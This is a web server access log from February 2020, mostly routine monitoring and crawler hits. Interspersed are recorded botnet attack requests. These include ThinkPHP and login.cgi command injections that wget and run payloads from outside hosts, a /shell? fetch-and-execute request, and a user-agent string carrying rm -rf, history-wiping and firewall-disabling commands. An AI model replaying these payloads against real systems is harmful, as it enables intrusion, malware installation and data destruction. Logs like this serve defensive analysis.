193.57.40.38 - - [17/Feb/2020:23:27:26 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:23:27:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:23:28:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
182.74.243.39 - - [17/Feb/2020:23:29:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:23:29:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.178.92.208 - - [17/Feb/2020:23:29:40 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
59.148.241.180 - - [17/Feb/2020:23:29:53 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [17/Feb/2020:23:30:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:23:31:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:23:32:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:23:33:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [17/Feb/2020:23:33:38 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:23:34:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:23:35:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:23:36:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
181.170.121.9 - - [17/Feb/2020:23:37:20 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
181.170.121.9 - - [17/Feb/2020:23:37:26 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "-"
181.170.121.9 - - [17/Feb/2020:23:37:32 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
212.91.246.72 - - [17/Feb/2020:23:37:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [17/Feb/2020:23:37:58 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
202.103.251.249 - - [17/Feb/2020:23:38:04 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.103.251.249 - - [17/Feb/2020:23:38:04 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.103.251.249 - - [17/Feb/2020:23:38:05 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.103.251.249 - - [17/Feb/2020:23:38:05 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.103.251.249 - - [17/Feb/2020:23:38:06 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.103.251.249 - - [17/Feb/2020:23:38:06 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.103.251.249 - - [17/Feb/2020:23:38:07 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.103.251.249 - - [17/Feb/2020:23:38:07 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.103.251.249 - - [17/Feb/2020:23:38:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [17/Feb/2020:23:38:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:23:39:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:23:40:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:23:41:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
162.210.196.100 - - [17/Feb/2020:23:42:06 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)"
162.210.196.100 - - [17/Feb/2020:23:42:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)"
212.91.246.72 - - [17/Feb/2020:23:42:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:23:43:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:23:44:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.252.183.77 - - [17/Feb/2020:23:44:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:23:45:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:23:46:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.201.179.21 - - [17/Feb/2020:23:46:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [17/Feb/2020:23:47:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.163.213.156 - - [17/Feb/2020:23:47:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [17/Feb/2020:23:48:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:23:49:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.97.196.40 - - [17/Feb/2020:23:50:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:23:50:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:23:51:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.89.144.131 - - [17/Feb/2020:23:52:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.112.150/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 329 "-" "LMAO/2.0"
212.91.246.72 - - [17/Feb/2020:23:52:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.81.19.27 - - [17/Feb/2020:23:52:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
92.81.19.27 - - [17/Feb/2020:23:52:46 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [17/Feb/2020:23:53:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.93.2.145 - - [17/Feb/2020:23:54:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:23:54:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:23:55:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:23:56:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:23:57:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:23:58:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.225.215.221 - - [17/Feb/2020:23:58:44 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:23:59:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.182.117.152 - - [18/Feb/2020:00:00:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
188.138.75.107 - - [18/Feb/2020:00:01:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.107 - - [18/Feb/2020:00:01:05 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.107 - - [18/Feb/2020:00:01:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.107 - - [18/Feb/2020:00:01:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
145.220.15.120 - - [18/Feb/2020:00:01:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36"
114.113.112.92 - - [18/Feb/2020:00:02:29 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
114.113.112.92 - - [18/Feb/2020:00:02:29 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
114.113.112.92 - - [18/Feb/2020:00:02:29 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
114.113.112.92 - - [18/Feb/2020:00:02:29 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
114.113.112.92 - - [18/Feb/2020:00:02:29 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
114.113.112.92 - - [18/Feb/2020:00:02:29 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
114.113.112.92 - - [18/Feb/2020:00:02:29 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
114.113.112.92 - - [18/Feb/2020:00:02:29 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
193.57.40.38 - - [18/Feb/2020:00:04:12 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
88.225.215.221 - - [18/Feb/2020:00:05:03 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
5.202.147.251 - - [18/Feb/2020:00:08:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
193.57.40.38 - - [18/Feb/2020:00:09:03 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
180.183.202.13 - - [18/Feb/2020:00:13:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
145.220.15.143 - - [18/Feb/2020:00:14:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36"
170.245.128.254 - - [18/Feb/2020:00:15:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
221.198.81.118 - - [18/Feb/2020:00:21:36 +0100] "HEAD http://123.125.114.144/ HTTP/1.1" 200 - "-" "Mozilla/4.01707650 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; EmbeddedWB 14.52 from: http://www.bsalsa.com/ EmbeddedWB 14.52; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)"
123.145.33.50 - - [18/Feb/2020:00:21:36 +0100] "HEAD http://123.125.114.144/ HTTP/1.1" 200 - "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36"
58.248.201.64 - - [18/Feb/2020:00:21:38 +0100] "GET http://www.epochtimes.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
112.66.102.149 - - [18/Feb/2020:00:21:39 +0100] "GET http://boxun.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
1.202.114.194 - - [18/Feb/2020:00:21:39 +0100] "CONNECT www.voanews.com:443 HTTP/1.1" 405 345 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
223.166.75.231 - - [18/Feb/2020:00:21:39 +0100] "GET http://www.123cha.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
123.191.151.237 - - [18/Feb/2020:00:21:39 +0100] "CONNECT www.baidu.com:443 HTTP/1.1" 405 343 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
110.177.76.221 - - [18/Feb/2020:00:21:41 +0100] "GET http://www.rfa.org/english/ HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
171.34.176.226 - - [18/Feb/2020:00:21:42 +0100] "CONNECT cn.bing.com:443 HTTP/1.1" 405 341 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
106.45.0.233 - - [18/Feb/2020:00:21:43 +0100] "CONNECT www.ipip.net:443 HTTP/1.1" 405 342 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
220.250.10.191 - - [18/Feb/2020:00:21:44 +0100] "GET http://www.minghui.org/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
222.94.140.164 - - [18/Feb/2020:00:21:44 +0100] "CONNECT www.ipip.net:443 HTTP/1.1" 405 342 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
123.145.38.59 - - [18/Feb/2020:00:21:44 +0100] "GET http://www.123cha.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
110.177.81.55 - - [18/Feb/2020:00:21:44 +0100] "CONNECT cn.bing.com:443 HTTP/1.1" 405 341 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
125.119.220.145 - - [18/Feb/2020:00:21:45 +0100] "GET http://www.epochtimes.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
112.80.139.172 - - [18/Feb/2020:00:21:45 +0100] "GET http://www.wujieliulan.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
58.249.100.195 - - [18/Feb/2020:00:21:45 +0100] "GET http://boxun.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
58.248.203.37 - - [18/Feb/2020:00:21:46 +0100] "GET http://www.rfa.org/english/ HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
123.179.4.203 - - [18/Feb/2020:00:21:46 +0100] "GET http://www.minghui.org/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
113.128.105.32 - - [18/Feb/2020:00:21:47 +0100] "CONNECT www.baidu.com:443 HTTP/1.1" 405 343 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
117.14.159.130 - - [18/Feb/2020:00:22:22 +0100] "HEAD http://123.125.114.144/ HTTP/1.1" 200 - "-" "Mozilla/5.01724933 Mozilla/5.0 (iPhone; CPU iPhone OS 11_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E302"
182.138.158.193 - - [18/Feb/2020:00:22:23 +0100] "GET http://www.minghui.org/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
112.80.136.225 - - [18/Feb/2020:00:22:24 +0100] "GET http://www.wujieliulan.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
175.184.167.142 - - [18/Feb/2020:00:22:26 +0100] "GET http://boxun.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
106.45.0.58 - - [18/Feb/2020:00:22:27 +0100] "CONNECT www.voanews.com:443 HTTP/1.1" 405 345 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
182.242.131.110 - - [18/Feb/2020:00:22:28 +0100] "GET http://www.rfa.org/english/ HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
171.118.241.113 - - [18/Feb/2020:00:22:28 +0100] "CONNECT www.baidu.com:443 HTTP/1.1" 405 343 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
171.34.178.197 - - [18/Feb/2020:00:22:28 +0100] "CONNECT cn.bing.com:443 HTTP/1.1" 405 341 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
118.81.227.38 - - [18/Feb/2020:00:22:30 +0100] "CONNECT www.ipip.net:443 HTTP/1.1" 405 342 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
150.255.2.149 - - [18/Feb/2020:00:22:32 +0100] "GET http://www.123cha.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
176.106.38.32 - - [18/Feb/2020:00:24:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
34.92.44.26 - - [18/Feb/2020:00:25:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
151.73.101.228 - - [18/Feb/2020:00:26:33 +0100] "GET /shell?cd+/tmp;rm+-rf+.j;wget+http:/\\/91.92.66.124/..j/.j;chmod+777+.j;sh+.j;echo+DONE HTTP/1.1" 400 329 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36"
186.225.189.60 - - [18/Feb/2020:00:26:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
31.208.110.78 - - [18/Feb/2020:00:32:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
71.77.51.27 - - [18/Feb/2020:00:33:47 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
